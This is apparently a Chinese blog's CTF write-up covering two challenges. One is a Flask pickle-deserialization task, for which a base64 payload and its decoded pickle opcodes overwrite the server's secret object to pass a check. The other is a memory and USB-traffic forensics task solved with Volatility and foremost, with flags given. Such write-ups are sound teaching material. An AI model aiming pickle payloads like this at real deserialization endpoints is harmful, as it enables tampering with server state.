webtmp与ez_mem&usb

2020-03-11 18:03:00
ctf - 反序列化 - 取证分析

源自最近的高校战“疫”网络安全分享赛

webtmp

一道fllask题,实际上是考察python的pickle模块序列化问题,上来就给源码,关键如下:

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)

实际上就是让我们反序列化一个Animal类然后使该对象的name和category属性和secret内的两个属性的值吻合即可getflag,但这道题做了一个限制,限制了b'R'也就是我们的exp解码后不能有R字符,也就限制了一些函数的使用。并且RestrictedUnpickler函数使得我们只能使用mian中模块。

一开始尝试各种绕过发现没办法,试了一下导入secret然后再覆盖secret变量的值发现成功了。

exp:

Y19fbWFpbl9fCkFuaW1hbApwMAowKGcwClMnbmFtZScKUydjYXRlZ29yeScKb3AxCjBjX19tYWluX18Kc2VjcmV0CnAyCjBnMgoofShTJ25hbWUnClMnbmFtZScKZHRiZzIKKH0oUydjYXRlZ29yeScKUydjYXRlZ29yeScKZHRiZzEKLg==

base64:

b"c__main__\nAnimal\np0\n0(g0\nS'name'\nS'category'\nop1\n0c__main__\nsecret\np2\n0g2\n(}(S'name'\nS'name'\ndtbg2\n(}(S'category'\nS'category'\ndtbg1\n."

flag{409ed945-5b77-4ec3-97e1-b395778842ba}

pickle参考p神文章进行构造: https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

ez_mem&usb

流量包先用wireshark导出几个文件,有一个upload_file.php放入foremost中分离文件,抽出data.vmem,下一步进行取证分析,

volatility -f 1.vmem imageinfo查看信息,获得推荐配置文件WinXPSP2x86

volatility -f 1.vmem WinXPSP2x86 pslist查看进程,如下(部分):

0xff445020 services.exe 668 492 16 253 0 0 2020-02-23 13:17:14 UTC+0000
0xff46b020 lsass.exe 680 492 19 309 0 0 2020-02-23 13:17:14 UTC+0000
0xff510bf0 vmacthlp.exe 836 668 1 25 0 0 2020-02-23 13:17:14 UTC+0000
0xff493568 svchost.exe 848 668 14 189 0 0 2020-02-23 13:17:14 UTC+0000
0xff491a78 svchost.exe 932 668 11 230 0 0 2020-02-23 13:17:14 UTC+0000
0xff416b10 svchost.exe 1024 668 44 939 0 0 2020-02-23 13:17:14 UTC+0000
0x80dac020 svchost.exe 1072 668 4 57 0 0 2020-02-23 13:17:14 UTC+0000

volatility -f 1.vmem WinXPSP2x86 cmdscan能看见:

> #0 @ 0x3609ea0: passwd:weak_auth_top100
> Cmd #1 @ 0x5576d0: start wireshark
> Cmd #13 @ 0x9f009f: ??
> Cmd #41 @ 0x9f003f: ?\?????????

这里得到一个密码目测是压缩包用的,所以下一步找找有没有压缩包之类的东西,用filescan没找到,于是尝试把全部进程dump下来后

volatility -f 1.vmem --profile=WinXPSP2x86 memdump --dump-dir=/home/ctf/dmp

使用foremost配合通匹符*进行文件一键分离

foremost -i ./dmp/*

得到4个压缩包一个一个尝试weak_auth_top100,其内usbdata文件包含如下格式的内容:

00:00:09:00:00:00:00:00 00:00:08:00:00:00:00:00 00:00:26:00:00:00:00:00

为usb键盘流量包,网上找到脚本爆出flag:

flag{69200835784ec3ed8d2a64e73fe913c0}



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号